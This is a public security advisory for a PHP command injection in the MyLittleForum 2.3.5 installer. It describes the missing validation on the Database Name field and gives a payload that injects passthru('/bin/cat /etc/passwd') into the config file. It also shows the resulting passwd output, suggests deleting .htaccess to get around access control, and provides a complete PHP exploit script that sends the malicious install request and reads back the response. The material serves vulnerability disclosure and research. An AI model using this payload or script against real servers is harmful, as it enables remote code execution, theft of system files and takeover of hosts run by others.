Bugtraq: MyLittleForum v2.3.5 PHP Command Injection

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://ift.tt/297Uutk

ON.txt

[+] ISR: APPARITIONSEC

Vendor:

=================

mylittleforum.net

Download:

http://ift.tt/29fGEkR

Product:

===================

MyLittleForum 2.3.5

my little forum is a simple PHP and MySQL based internet forum that displays the messages in classical threaded

view (tree structure). The main claim of this web forum is simplicity. Furthermore it should be easy to install

and run on a standard server configuration with PHP and MySQL.

Vulnerability Type:

=======================

PHP Command Execution

CVE Reference:

==============

N/A

Vulnerability Details:

=====================

When setting up mylittleforum CMS users will have to walk thru an installation script and provide details for the application like the

forums email address, name, admin email, admin password, database name etc...

However, no input validation / checks exists for that installation script. Low privileged users can then supply arbitrary PHP code for

the Database Name. The PHP command values will get written to the config/db_settings.php file and processed by the application. Since

we supply an invalid Database Name a MySQL error will be thrown but the injected PHP payload will also be executed on the host system.

If the CMS is installed by low privileged user and that user has basic MySQL database authorization to run the install for the CMS it

can result in a privilege escalation, remote command execution and complete takeover of the host server.

The /config/db_settings.php is protected by .htaccess file but we can write directly to "db_settings.php" file and execute code directly

from /install/index.php file bypassing any access control provided by the .htaccess file or we just delete it by adding call to PHP function

@unlink('.htaccess') to our injected PHP payload.

1) Browse to http://localhost/mylittleforum-2.3.5/install/index.php

2) For Database Name input field enter the below PHP code for POC.

';?><?php echo passthru('/bin/cat /etc/passwd');'

This results in config/db_settings.php file being injected with our arbitrary PHP code.

$db_settings['database'] = '';?><?php echo passthru('/bin/cat /etc/passwd');'';

3) Make another HTTP GET request to same page "/install/index.php" file and done!... we access /etc/passwd system file.

HTTP/1.1 200 OK

Date: Fri, 24 Jun 2016 03:01:13 GMT

Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1m PHP/5.6.8 mod_perl/2.0.8-dev Perl/v5.16.3

X-Powered-By: PHP/5.6.8

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=utf-8

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

etc...

Exploit code(s):

===============

1) Download and unpack mylittleforum-2.3.5 upload to web server (Linux), chmod -R 777 etc...

2) Run below PHP script from Command line from remote work station

3) BOOM we can now read Linux "/etc/passwd" file on remote server

<?php

#mylittleforum-2.3.5 PHP CMD Execution Exploit

#by hyp3rlinx

#ISR: apparitionsec

#hyp3rlinx.altervista.org

#cat Linux system file '/etc/passwd' POC

#tested RH Linux 5

#=======================================================

if($argc<5){

echo "myLittleForum CMS PHP Command Execution Exploit\r\n";

echo "Usage: <IP>,<MySQL-USER>,<MySQL-PASSWD>,<ROOT DIR>\r\n";

echo "================= by hyp3rlinx ===================\r\n";

exit();

}

$port=80; #Default port

$victim=$argv[1]; #IP

$user=$argv[2]; #MySQL username

$pwd=$argv[3]; #MySQL password

$root_dir=$argv[4]; #/mylittleforum-2.3.5

$uri="/install/index.php"; #PHP CMD inject entry point

$s = fsockopen($victim, $port, $errno, $errstr, 10);

if(!$s){echo "Cant connect to the server!"; exit();}

$CMD_INJECTTION="forum_name=PWN".

"&forum_address=http://$victim/$root_dir/".

"&forum_email=x (at) x (dot) com [email concealed]".

"&admin_name=$user".

"&admin_email=x (at) x (dot) com [email concealed]".

"&admin_pw=$pwd".

"&admin_pw_conf=$pwd".

"&host=localhost".

"&database=';?><?php echo passthru('/bin/cat /etc/passwd');'".

"&user=$user".

"&password=$pwd".

"&table_prefix=mlf2_".

"&install_submit=OK+-+Install+forum".

"&language_file=english.lang";

#Inject commands

$out = "POST /$root_dir/$uri HTTP/1.1\r\n";

$out .= "Host: $victim\r\n";

$out .= "Content-Type: application/x-www-form-urlencoded\r\n";

$out .= 'Content-Length: ' . strlen($CMD_INJECTTION) . "\r\n";

$out .= "Connection: close\r\n\r\n";

fwrite($s, $out);

fwrite($s, $CMD_INJECTTION);

fclose($s);

sleep(2);

#Second HTTP request to read Linux /etc/passwd file in the response

$out="";

$s = fsockopen($victim, $port, $errno, $errstr, 10);

$out = "GET /$root_dir/$uri HTTP/1.1\r\n";

$out .= "Host: $victim\r\n";

$out .= "Connection: Close\r\n\r\n";

fwrite($s, $out);

$r='';

while (!feof($s)) {

$r=fgets($s, 128);

echo $r;

if(strpos($r,'<!DOCTYPE')!==FALSE){

break;

}

}

fclose($s);

?>

Disclosure Timeline:

=================================

Vendor Notification: No Reply

June 27, 2016 : Public Disclosure

Exploitation Technique:

=======================

Remote

Severity Level:

===========================================

(High) 8.7

CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

[+] Disclaimer

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.

Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and

that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit

is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility

for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information

or exploits by the author or elsewhere.

hyp3rlinx

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